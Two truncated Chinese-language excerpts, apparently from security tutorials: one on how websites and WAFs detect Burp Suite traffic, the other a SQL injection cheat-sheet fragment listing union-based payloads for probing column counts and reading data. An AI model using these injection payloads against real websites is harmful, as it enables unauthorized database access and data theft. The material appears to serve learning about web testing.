网站是如何检测的？ 1. burp自带内置Web服务 Burp 默认自带http://burp 内置管理页面。部分WAF、网关会把这个域名标记为Burp专属特征。一旦浏览器自动访问、或者请求里携带相关特征，直接判定为抓包工具流量进...

联合查询注入 字段数量探测 1" order by 1--+ -- 字段数量探测，从1开始递增测试临界值 1" order by 100--+ -- 测试字段数上限，出现错误即达临界值 联合数据读取 -1" union select 1,2,3--+ -- 用-1...